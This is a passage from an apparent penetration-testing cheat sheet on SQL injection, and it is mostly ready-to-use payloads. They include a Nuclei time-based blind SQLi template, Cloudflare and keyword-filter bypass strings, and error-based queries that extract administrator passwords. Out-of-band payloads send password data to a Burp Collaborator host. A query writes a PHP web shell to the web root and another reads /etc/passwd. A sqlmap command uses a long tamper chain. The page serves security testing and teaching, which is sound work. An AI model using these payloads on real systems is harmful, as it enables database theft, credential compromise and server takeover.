  description: Detects time-based blind SQL injection vulnerability
http:
  - method: GET
    path:
        - "{{BaseURL}}" 
    payloads:
      injection:
      - "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
      - "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
      - "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
      - "if(now()=sysdate(),SLEEP(7),0)"
      - "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
      - "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
            - "{{injection}}"
    stop-at-first-match: true
    matchers:
     - type: dsl
       dsl:
       - "status_code == 200"
       - "duration>=7 && duration <=16"
       condition: and
```

Source: <https://github.com/rzizah/private-nuclei-template/blob/main/bsqli-time-based.yaml>

### WAF Bypass - Cloudflare

```
(select(0)from(select(sleep(10)))v) → 403 Forbidden

Try:

(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v)
```

### Time Based SQLi in HTTP Headers

{% embed url="<https://github.com/danialhalo/SqliSniper>" %}

{% content-ref url="http-header-exploitation" %}
[http-header-exploitation](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/http-header-exploitation)
{% endcontent-ref %}

### CustomBSQLi - LostSec

{% embed url="<https://github.com/coffinxp/customBsqli>" %}

### OAT Blind SQLi&#x20;

```
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
```

{% embed url="<https://medium.com/@pranshux0x/super-blind-sql-injection-20000-bounty-thousands-of-targets-still-vulnerable-f9b013765448>" %}

MS SQL server

```
'; exec master..xp_dirtree '//random.burpcollaborator.net/a'--
```

Data exfiltration

```
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.random.burpcollaborator.net/a"')--
```

Oracle DB

```
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
```

## Numeric SQL Injection

{% embed url="<https://www.sqlinjection.net/numeric-parameters/>" %}

## Wildcard SQL injection - LIKE clause

```
http://www.example.com/userphoto.php?name=a%
http://www.example.com/userphoto.php?name=b%
http://www.example.com/userphoto.php?name=c%

http://www.example.com/fruit.php?name=ap%
```

The server filtered the `%` wildcard, but the `_` character was permitted

```
http://www.example.com/admin/privado.php?sessionid=0_________
http://www.example.com/admin/privado.php?sessionid=1_________
http://www.example.com/admin/privado.php?sessionid=2_________
```

{% embed url="<https://www.pentester.es/like-sqli/>" %}

{% embed url="<https://labs.portcullis.co.uk/download/DoS_Attacks_Using_SQL_Wildcards.pdf>" %}

## Error-based SQL injection

{% embed url="<https://github.com/eslam3kl/SQLiDetector>" %}

### Conditional Error

```
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```

The second input causes a divide-by-zero erro

<pre><code><strong>xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
</strong></code></pre>

Oracle DB

```
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
```

Password Length

```
'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F262khXSwEEmbw0GLoBvr%2Fimage.png?alt=media&#x26;token=d86c7902-49d6-49ea-866a-3b8bd1113ff6" alt=""><figcaption></figcaption></figure>

Pasword value

```
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F2eOkCiJH8QkLqipe4E9J%2Fimage.png?alt=media&#x26;token=5792f53c-a3c8-4d20-b0e9-87aa28b9819b" alt=""><figcaption></figcaption></figure>

```
'||(SELECT CASE WHEN SUBSTR(password,1,2)='da' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FTdwZfv5raPXfJkCeoCcr%2Fimage.png?alt=media&#x26;token=fa89b8a5-eb65-4260-b1a6-586836a1a291" alt=""><figcaption></figcaption></figure>

Etc.

### Turn an otherwise blind SQL injection vulnerability into a visible one

```
CAST((SELECT example_column FROM example_table) AS int)
```

Attempting to convert this to an incompatible data type, such as an `int`, may cause an error similar to the following:

`ERROR: invalid input syntax for type integer: "Example data"`

```
' AND CAST((SELECT 1) AS int)--
```

```
# Username
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

# Password
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
```

## Fragmented SQL Injection - two endpoints

{% embed url="<https://www.invicti.com/blog/web-security/fragmented-sql-injection-attacks/>" %}

Let’s take a look at an instance where the single quote is blacklisted or escaped from the command.

```
$username ="' or 1=1 --";$password ="qwerty123456";// . . .$query = "SELECT * FROM users WHERE username='".$username."' AND password='".$password."'";select * from users where username='\' or 1=1 -- ' or password='qwerty123456';
```

As you see in this example, because the single quote (‘) is escaped with a backslash, the payload does not work as intended by the hacker.

```
username: \password: or 1 # $query = select * from users where username='".$username."' and password='".$password."'";select * from users where username='\' or password=' or 1 # ';
```

The backslash neutralizes the following single quote. So the value for the *username* column will end with the single quote that comes right after *password*= (the end of the gray text). Doing so will eliminate the required password field from the command. Due to the or 1 command, the condition will always return ‘true’. The # (hash) will ignore the rest of the function, and you’ll be able to bypass the login control and login form.

## Email SQL injection

{% content-ref url="email-injections" %}
[email-injections](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/email-injections)
{% endcontent-ref %}

## Bypass - WAF / Filters

{% content-ref url="waf-bypass" %}
[waf-bypass](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/waf-bypass)
{% endcontent-ref %}

{% embed url="<https://johnermac.github.io/notes/ewptx/sqlievasion/>" %}

{% embed url="<https://portswigger.net/support/sql-injection-bypassing-common-filters>" %}

{% embed url="<https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF>" %}

{% embed url="<https://fluidattacks.com/blog/sqli-manual-bypass/>" %}

{% embed url="<https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/>" %}

{% embed url="<https://anyxel.com/payloads/waf-bypass-sql-injection-payloads>" %}

* <https://gist.github.com/cyberheartmi9/b4a4ff0f691be6b5c866450563258e86>

### SQLMap - All in one

```
`sqlmap -r req.txt --level=5 --risk=3 --dbms="mysql" --dbs --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor -p search`
```

{% content-ref url="../tools/sqlmap" %}
[sqlmap](https://0xss0rz.gitbook.io/0xss0rz/pentest/tools/sqlmap)
{% endcontent-ref %}

### Bypass combo

```
'AND+0+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+-
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fws35tf9raexkckVVFZQS%2FGNP3ZmNXQAA1Et-.jpg?alt=media&#x26;token=025b98a0-d6b9-4e2c-b21f-4262cc6b7d6e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F1cFJ4rWB4TxovtuzAcuj%2FGNP3ZpOXkAEEyJw.jpg?alt=media&#x26;token=bf6017f5-c1b7-4c37-bb5f-17a28e7bf583" alt=""><figcaption></figcaption></figure>

### Imperva gzip bypass

{% embed url="<https://github.com/BishopFox/Imperva_gzip_WAF_Bypass>" %}

### No Space (%20) - bypass using whitespace alternatives

```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

### No Whitespace - bypass using comments

```sql
?id=1/*comment*/and/**/1=1/**/--
```

### No Whitespace - bypass using parenthesis

```sql
?id=(1)and(1)=(1)--
```

### No Comma - bypass using OFFSET, FROM and JOIN

```sql
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```

### Blacklist using keywords - bypass using uppercase/lowercase

```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

### Blacklist using keywords case insensitive - bypass using an equivalent operator

```sql
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```

### Information\_schema.tables alternative

```sql
select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
```

### Version alternative

```sql
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```

Source:&#x20;

{% embed url="<https://anyxel.com/payloads/waf-bypass-sql-injection-payloads>" %}

## Reading / Writing Files

{% embed url="<https://sqlwiki.netspi.com/attackQueries/readingAndWritingFiles/#mysql>" %}

{% hint style="info" %}
Requires privileged user
{% endhint %}

| Description          | Query                                                                                                                                                                                                |
| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Dump to file         | SELECT \* FROM mytable INTO dumpfile '/tmp/somefile'                                                                                                                                                 |
| Dump PHP Shell       | SELECT 'system($\_GET\['c']); ?>' INTO OUTFILE '/var/www/shell.php'                                                                                                                                  |
| Read File            | SELECT LOAD\_FILE('/etc/passwd')                                                                                                                                                                     |
| Read File Obfuscated | <p>SELECT LOAD\_FILE(0x633A5C626F6F742E696E69)<br><em>reads c:\boot.ini</em></p>                                                                                                                     |
| File Privileges      | <p>SELECT file\_priv FROM mysql.user WHERE user = 'netspi'<br>SELECT grantee, is\_grantable FROM information\_schema.user\_privileges WHERE privilege\_type = 'file' AND grantee like '%netspi%'</p> |

## XML-based SQL Injection

XML escape sequence to encode the `S` character in `SELECT`

```
<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>
```

With Hackvector: select the payload - right click - extensions - Hackvector - Encode - Hex Entities

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FqW0dLEjrIJ6HtLj5wHIe%2Fimage.png?alt=media&#x26;token=5cc10cad-6c5f-4132-a9d7-dc6574d739ef" alt=""><figcaption></figcaption></figure>

```
<stockCheck><productId>1</productId><storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId></stockCheck>
```

## Polyglots SQLi

{% embed url="<https://nastystereo.com/security/sqli-polyglots.html>" %}

## Resources

{% embed url="<https://www.yeswehack.com/fr/learn-bug-bounty/vulnerability-vectors-sql-injection>" %}

{% embed url="<https://portswigger.net/web-security/sql-injection>" %}

{% embed url="<https://tib3rius.com/sqli>" %}

{% embed url="<https://portswigger.net/web-security/sql-injection/cheat-sheet>" %}

{% embed url="<https://owasp.org/www-community/attacks/SQL_Injection>" %}

{% embed url="<https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html>" %}

{% embed url="<https://docs.veracode.com/r/injection-attacks#what-is-a-sql-injection-attack>" %}

{% embed url="<https://community.veracode.com/s/article/How-to-fix-CWE-89-SQL-Injection-flaws>" %}

{% embed url="<https://www.intigriti.com/hackademy/sql-injection>" %}

## Payload

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt>" %}

{% embed url="<https://github.com/payloadbox/sql-injection-payload-list>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection>" %}

## Tools

{% content-ref url="../tools/sqlmap" %}
[sqlmap](https://0xss0rz.gitbook.io/0xss0rz/pentest/tools/sqlmap)
{% endcontent-ref %}

Scanner for **time-based SQL injection (SQLi):**

{% embed url="<https://github.com/c1phy/sqltimer>" %}

{% embed url="<https://github.com/yuvraj112233/sqligo>" %}

{% embed url="<https://github.com/malvads/sqlmc>" %}

```
sqlmc  -u https://example.com
sqlmc -u http://testphp.vulnweb.com/listproducts.php?cat=1 -d 2 -t 10
```

{% embed url="<https://github.com/danialhalo/SqliSniper>" %}
SqliSniper
{% endembed %}

{% embed url="<https://github.com/eslam3kl/SQLiDetector>" %}

{% embed url="<https://github.com/r0oth3x49/ghauri>" %}
ghauri
{% endembed %}

{% embed url="<https://github.com/HexShad0w/Sh1dowQLI?s=03>" %}

{% embed url="<https://github.com/americo/sqlifinder>" %}

{% embed url="<https://github.com/hahwul/dalfox>" %}

{% embed url="<https://github.com/blackhatethicalhacking/SQLMutant>" %}

{% embed url="<https://github.com/ron190/jsql-injection?tab=readme-ov-file>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtT3srZzbUxV8iN6zjNrl%2Fimage.png?alt=media&#x26;token=962e4759-e8b9-4e26-b998-6df524fdfaf8" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)
